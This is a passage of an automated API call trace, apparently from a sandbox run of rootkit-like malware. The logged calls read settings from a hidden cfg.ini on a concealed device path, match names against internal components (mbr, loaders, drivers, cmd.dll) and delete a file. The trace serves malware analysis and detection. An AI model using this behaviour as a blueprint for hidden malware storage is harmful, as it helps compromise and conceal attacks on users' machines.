[0125.962] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.962] KeLeaveCriticalRegion () [0125.962] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.962] KeEnterCriticalRegion () [0125.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.962] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.962] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.962] KeLeaveCriticalRegion () [0125.962] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.962] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.962] KeEnterCriticalRegion () [0125.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.962] ExFreePoolWithTag (P=0xfffffa8003713810, Tag=0x0) [0125.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.962] KeLeaveCriticalRegion () [0125.962] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.962] ReleaseMutex (hMutex=0xf0) returned 1 [0125.962] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.962] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.962] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.963] KeEnterCriticalRegion () [0125.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.963] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.963] IdePortDispatch () returned 0x103 [0125.963] KeWaitForMutexObject () returned 0x0 [0125.963] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.963] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.963] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.963] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.963] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.963] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003abc590 [0125.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.963] KeLeaveCriticalRegion () [0125.963] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.963] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.963] KeEnterCriticalRegion () [0125.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.963] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.963] KeLeaveCriticalRegion () [0125.963] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.963] KeEnterCriticalRegion () [0125.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.963] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.963] IdePortDispatch () returned 0x103 [0125.963] KeWaitForMutexObject () returned 0x0 [0125.964] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.964] KeLeaveCriticalRegion () [0125.964] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.964] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.964] KeEnterCriticalRegion () [0125.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.964] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d7b000 [0125.964] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.964] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.964] IdePortDispatch () returned 0x103 [0125.964] KeWaitForMutexObject () returned 0x0 [0125.964] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.964] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.964] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.964] IdePortDispatch () returned 0x103 [0125.964] KeWaitForMutexObject () returned 0x0 [0125.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.964] KeLeaveCriticalRegion () [0125.964] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.965] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.965] KeEnterCriticalRegion () [0125.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.965] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.965] KeLeaveCriticalRegion () [0125.965] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.965] KeEnterCriticalRegion () [0125.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.965] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.965] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.965] KeLeaveCriticalRegion () [0125.965] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.965] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.965] KeEnterCriticalRegion () [0125.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.965] ExFreePoolWithTag (P=0xfffffa8003abc590, Tag=0x0) [0125.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.965] KeLeaveCriticalRegion () [0125.965] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.965] ReleaseMutex (hMutex=0xf0) returned 1 [0125.965] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.965] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.965] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.965] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.965] KeEnterCriticalRegion () [0125.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.966] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.966] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.966] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.966] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.966] IdePortDispatch () returned 0x103 [0125.966] KeWaitForMutexObject () returned 0x0 [0125.966] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.966] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.966] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.966] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.966] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.966] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.966] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.966] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.966] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.966] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.966] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.966] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.966] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.966] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.966] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.966] KeLeaveCriticalRegion () [0125.966] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.966] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.966] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.966] KeEnterCriticalRegion () [0125.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.966] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.966] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.966] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.966] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.966] IdePortDispatch () returned 0x103 [0125.966] KeWaitForMutexObject () returned 0x0 [0125.967] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.967] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.967] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.967] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.967] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.967] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.967] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.967] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.967] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.967] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.967] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.967] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.967] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.967] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.967] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.967] KeLeaveCriticalRegion () [0125.967] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.967] ReleaseMutex (hMutex=0x100) returned 1 [0125.967] Sleep (dwMilliseconds=0x2bf20) [0125.973] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e4796f0, dwHighDateTime=0x1d24fa4)) [0125.973] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.973] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.973] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.973] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.974] KeEnterCriticalRegion () [0125.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.974] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.974] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.974] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.974] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.974] IdePortDispatch () returned 0x103 [0125.974] KeWaitForMutexObject () returned 0x0 [0125.974] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.974] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.974] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.974] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.974] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.974] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003abc180 [0125.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.974] KeLeaveCriticalRegion () [0125.974] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.974] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.974] KeEnterCriticalRegion () [0125.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.974] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.974] KeLeaveCriticalRegion () [0125.974] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.974] KeEnterCriticalRegion () [0125.974] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.974] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.974] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.974] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.974] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.974] IdePortDispatch () returned 0x103 [0125.974] KeWaitForMutexObject () returned 0x0 [0125.975] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.975] KeLeaveCriticalRegion () [0125.975] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.975] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.975] KeEnterCriticalRegion () [0125.975] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.975] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d7e000 [0125.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.975] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.975] IdePortDispatch () returned 0x103 [0125.975] KeWaitForMutexObject () returned 0x0 [0125.975] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.975] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.975] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.975] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.975] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.975] IdePortDispatch () returned 0x103 [0125.975] KeWaitForMutexObject () returned 0x0 [0125.975] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.975] KeLeaveCriticalRegion () [0125.975] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.976] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.976] KeEnterCriticalRegion () [0125.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.976] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.976] KeLeaveCriticalRegion () [0125.976] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.976] KeEnterCriticalRegion () [0125.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.976] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.976] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac7240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.976] KeLeaveCriticalRegion () [0125.976] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.976] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.976] KeEnterCriticalRegion () [0125.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.976] ExFreePoolWithTag (P=0xfffffa8003abc180, Tag=0x0) [0125.976] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.976] KeLeaveCriticalRegion () [0125.976] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.976] ReleaseMutex (hMutex=0xf0) returned 1 [0125.976] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.976] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.976] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.976] KeEnterCriticalRegion () [0125.976] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.976] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.976] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.976] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.976] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.977] IdePortDispatch () returned 0x103 [0125.977] KeWaitForMutexObject () returned 0x0 [0125.977] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.977] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.977] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.977] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.977] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.977] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac8e10 [0125.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.977] KeLeaveCriticalRegion () [0125.977] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.977] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.977] KeEnterCriticalRegion () [0125.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.977] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.977] KeLeaveCriticalRegion () [0125.977] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.977] KeEnterCriticalRegion () [0125.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.977] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.977] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 